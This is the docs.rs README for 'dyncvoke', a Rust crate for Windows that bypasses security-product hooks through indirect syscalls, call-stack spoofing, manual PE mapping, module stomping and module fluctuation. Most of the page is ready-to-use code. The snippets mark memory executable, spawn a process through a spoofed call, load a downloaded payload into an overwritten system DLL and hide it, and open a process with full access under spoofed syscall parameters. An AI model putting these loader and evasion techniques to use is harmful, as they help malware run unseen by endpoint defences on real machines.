dyncvoke 0.1.0

Dynamically invoke unmanaged Windows APIs via PEB walking, indirect syscalls, and call-stack spoofing
docs.rs failed to build dyncvoke-0.1.0
Please check the build logs for more information.
See Builds for ideas on how to fix a failed build, or Metadata for how to configure docs.rs builds.
If you believe this is docs.rs' fault, open an issue.
Visit the last successful build: dyncvoke-0.1.1

Dyncvoke

Rust crate for indirect syscalls, dynamic API resolution, and call stack spoofing on Windows. Call NT functions without putting their names in your import table and without going through inline hooks on ntdll.

Features

  • ✅ Indirect syscalls via Tartarus Gate (Hell's, Halo's, Tartarus prologues).
  • ✅ Call stack spoofing in Synthetic and Desync modes.
  • ✅ Uniform macros: syscall!, do_syscall!, spoof!, spoof_syscall!.
  • ✅ Manual PE mapping, section overloading, module fluctuation, syscall parameter spoofing.
  • #![no_std] (with alloc), MSVC and GNU toolchains, x86_64.

Layout

dyncvoke_core        sys module, dynamic invocation, nt_* wrappers
dyncvoke_core::sys   Tartarus Gate and the variadic do_syscall gateway
manualmap            PE mapping with relocations and IAT rewriting
overload             section overloading, module stomping, template stomping
dmanager             module fluctuation manager
spoof                call stack spoofing, synthetic and desync modes
data                 shared types and FFI signatures

Adding it

[dependencies]

dyncvoke = "0.1"

Windows x86_64 only (x86_64-pc-windows-msvc or x86_64-pc-windows-gnu). GNU spoof builds need NASM on PATH. Full API docs: docs.rs/dyncvoke.

dyncvoke = { version = "0.1", features = ["full"] }

Git:

[dependencies]

dyncvoke = { git = "https://git.smukx.site/smukx/Dyncvoke.git" }

Feature flags:

  • syscall (default). Indirect syscall path.
  • manualmap. PE manual mapping. Implies syscall.
  • overload. Section overloading and module stomping. Implies manualmap.
  • dmanager. Module fluctuation manager. Implies overload.
  • spoof. Call stack spoofing, synthetic mode.
  • spoof-desync. Same as spoof but flips desync mode on.
  • full. Everything above.

Usage

All four call macros (syscall!, do_syscall!, spoof!, spoof_syscall!) take the same shape. Every argument is cast as usize and transmuted to *mut c_void inside the macro. Return type is Result<*mut c_void, _> (or *mut c_void for do_syscall!). Recover NTSTATUS with .unwrap() as i32.

Spoofed indirect syscall

use spoof::spoof_syscall;
use core::ffi::c_void;
use core::ptr::null_mut;

let mut addr: *mut c_void = null_mut();
let mut size: usize = 1 << 12;

let status = spoof_syscall!(
    "NtAllocateVirtualMemory",
    -1isize,
    &mut addr as *mut _,
    0usize,
    &mut size as *mut _,
    0x3000u32,
    0x04u32
).unwrap() as i32;

Spoofed function call

use dyncvoke::dyncvoke_core::{get_module_base_address, get_function_address};
use spoof::spoof;

let kernel32 = get_module_base_address("kernel32.dll");
let win_exec = get_function_address(kernel32, "WinExec");

let cmd = c"calc.exe";
let _ = unsafe { spoof!(win_exec, cmd.as_ptr(), 1u32) };

Indirect syscall without stack spoofing

use dyncvoke::dyncvoke_core::syscall;
use core::ffi::c_void;
use core::ptr::null_mut;

let mut p_tmp_address: *mut c_void = null_mut();
let mut s_chunk: usize = 0x1000;
let mut old_prot: u32 = 0;

let status = syscall!(
    "NtProtectVirtualMemory",
    -1isize as *mut c_void,
    &mut p_tmp_address as *mut *mut c_void as *mut c_void,
    &mut s_chunk as *mut usize as *mut c_void,
    0x20u32 as *mut c_void,
    &mut old_prot as *mut u32 as *mut c_void,
    null_mut::<c_void>(),
    null_mut::<c_void>(),
    null_mut::<c_void>(),
    null_mut::<c_void>(),
    null_mut::<c_void>(),
    null_mut::<c_void>(),
)
.ok()
.unwrap() as i32;

Cached SSN dispatch

use dyncvoke::dyncvoke_core::{do_syscall, resolve_syscall};

let (ssn, addr) = resolve_syscall("NtClose").unwrap();
let status = do_syscall!(ssn, addr, handle) as i32;

Manual mapping

use dyncvoke::manualmap;

let (_pe_info, base) = manualmap::read_and_map_module(
    r"C:\Windows\System32\ntdll.dll",
    true,   // scrub DOS magic
    false   // skip TLS callbacks
).unwrap();

Section overloading

use dyncvoke::overload;

let payload = your_download_function();
let result = overload::overload_module(&payload, "").unwrap();

Module fluctuation

use dyncvoke::{overload, dmanager::Manager};

let mut manager = Manager::new();
let m = overload::managed_read_and_overload(
    r"c:\windows\system32\payload.dll",
    r"c:\windows\system32\cdp.dll"
).unwrap();

manager.new_module(m.1, m.0.0, m.0.1).unwrap();
manager.map_module(m.1).unwrap();
// ... call into the payload ...
manager.hide_module(m.1).unwrap();

Syscall parameter spoofing (hardware breakpoints + VEH)

use dyncvoke::dyncvoke_core::{
    use_hardware_breakpoints, add_vectored_exception_handler,
    nt_open_process, breakpoint_handler,
};
use dyncvoke::data::{HANDLE, OBJECT_ATTRIBUTES, ClientId};

unsafe {
    use_hardware_breakpoints(true);
    add_vectored_exception_handler(1, breakpoint_handler as usize);

    let mut handle: HANDLE = core::ptr::null_mut();
    let attrs = OBJECT_ATTRIBUTES::default();
    let client_id = ClientId {
        unique_process: target_pid as HANDLE,
        unique_thread: core::ptr::null_mut(),
    };

    let _ = nt_open_process(
        &mut handle,
        0x1F03FF,
        &attrs as *const _ as *mut _,
        &client_id as *const _ as *mut _,
    );

    use_hardware_breakpoints(false);
}

Credits

Publishing

Inner crates are published as dyncvoke-data, dyncvoke-core, dyncvoke-manualmap, dyncvoke-overload, dyncvoke-dmanager, and dyncvoke-spoof. Publish in that order, then dyncvoke. Wait for each crate to hit the index before the next cargo publish.

cargo publish -p dyncvoke-data
cargo publish -p dyncvoke-core
cargo publish -p dyncvoke-manualmap
cargo publish -p dyncvoke-spoof
cargo publish -p dyncvoke-overload
cargo publish -p dyncvoke-dmanager
cargo publish -p dyncvoke

License

MIT LICENSE